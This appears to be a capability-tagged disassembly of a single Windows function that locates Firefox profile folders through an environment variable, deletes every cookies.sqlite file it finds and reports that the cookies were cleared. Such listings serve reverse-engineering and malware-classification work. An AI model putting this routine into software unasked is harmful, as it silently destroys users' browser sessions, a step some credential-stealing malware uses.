Function at 0x407621
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
push ebx
lea eax, [ebp - 1]
push esi
push eax
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
lea eax, [ebp - 1]
lea ecx, [ebp - 0x18]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
lea eax, [ebp - 1]
lea ecx, [ebp - 0x28]
push eax
push str.AppDataRoamingMozillaFirefoxProfiles_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
push 0x414d90
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea eax, [ebp - 0x48]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call dword [0x4142d0]
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x18]
push 0x414b68
push eax
lea eax, [ebp - 0x28]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x28]
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
cmp dword [ebp - 8], 0xffffffff
jne 0x4076e8
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Firefox_Cookies_not_found_
jmp 0x407811
lea eax, [ebp - 0x188]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
xor ebx, ebx
test eax, eax
je 0x407839
test byte [ebp - 0x188], 0x10
je 0x4077e2
mov esi, 0x414b48
lea eax, [ebp - 0x15c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40773c
cmp cl, bl
je 0x407738
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40773c
inc eax
inc eax
inc esi
inc esi
cmp cl, bl
jne 0x40771a
xor eax, eax
jmp 0x407741
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x4077e2
mov esi, 0x414e90
lea eax, [ebp - 0x15c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x407776
cmp cl, bl
je 0x407772
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x407776
inc eax
inc eax
inc esi
inc esi
cmp cl, bl
jne 0x407754
xor eax, eax
jmp 0x40777b
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x4077e2
lea eax, [ebp - 0x15c]
push str.cookies.sqlite
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x48]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
push eax
lea eax, [ebp - 0x28]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
lea ecx, [ebp - 0x38]
push eax
call dword [0x4142d0]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x407802
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
dec eax
jne 0x4077f7
lea eax, [ebp - 0x188]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
jmp 0x4076fa
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x407823
push ebx
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Firefox_cookies_found__cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x41a8e0
call fcn.00405558
mov bl, 1
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
jmp 0x407875
push ebx
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Firefox_Cookies_not_found_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x41a8e0
call fcn.00405558
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
pop esi
pop ebx
leave
ret